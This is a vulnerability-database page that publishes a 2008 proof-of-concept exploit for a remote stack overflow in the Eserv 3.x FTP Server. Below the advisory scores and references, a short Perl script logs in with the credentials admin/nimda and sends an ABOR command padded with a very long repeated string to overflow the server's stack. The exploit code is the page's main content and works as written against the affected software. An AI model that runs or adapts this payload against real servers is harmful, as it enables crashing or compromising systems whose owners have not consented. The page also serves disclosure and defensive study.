Eserv 3.x FTP Server (ABOR) Remote Stack Overflow PoC

2008-10-16 / 2008-10-17
Credit: liquidworm
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/perl # # Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC # # Summary: Eserv/3.x - Mail, News, Web and Proxy Servers - Mail # Server (SMTP, IMAP4 and POP3) - News Server (NNTP) - Web Server # (HTTP) - FTP Server - Proxy Servers (HTTP, FTP, Socks, etc) - Finger # Server - Built-in scheduler and dialer. # # Product web page: http://www.eserv.ru/ | www.etype.net/eserv/ # # Tested on Microsoft Windows XP SP2 (English) # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # liquidworm [t00t] gmail.com # # http://www.zeroscience.org # # 14.10.2008 # use Net::FTP; $ipaddr = "127.0.0.1"; $mana = "..?" x 13000; $user = "admin"; $pass = "nimda"; $port = 21; $ftp = Net::FTP->new("$ipaddr", Debug => 0) || die "Cannot connect to $ipaddr on port $port: $@"; $ftp->login($user,$pass) || die "Cannot login ", $ftp->message; $ftp->abor($mana); $ftp->quit; print "\nDone!\n";

References:

http://xforce.iss.net/xforce/xfdb/45864
http://www.zeroscience.org/codes/eserv_bof.txt
http://www.securityfocus.com/bid/31753


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top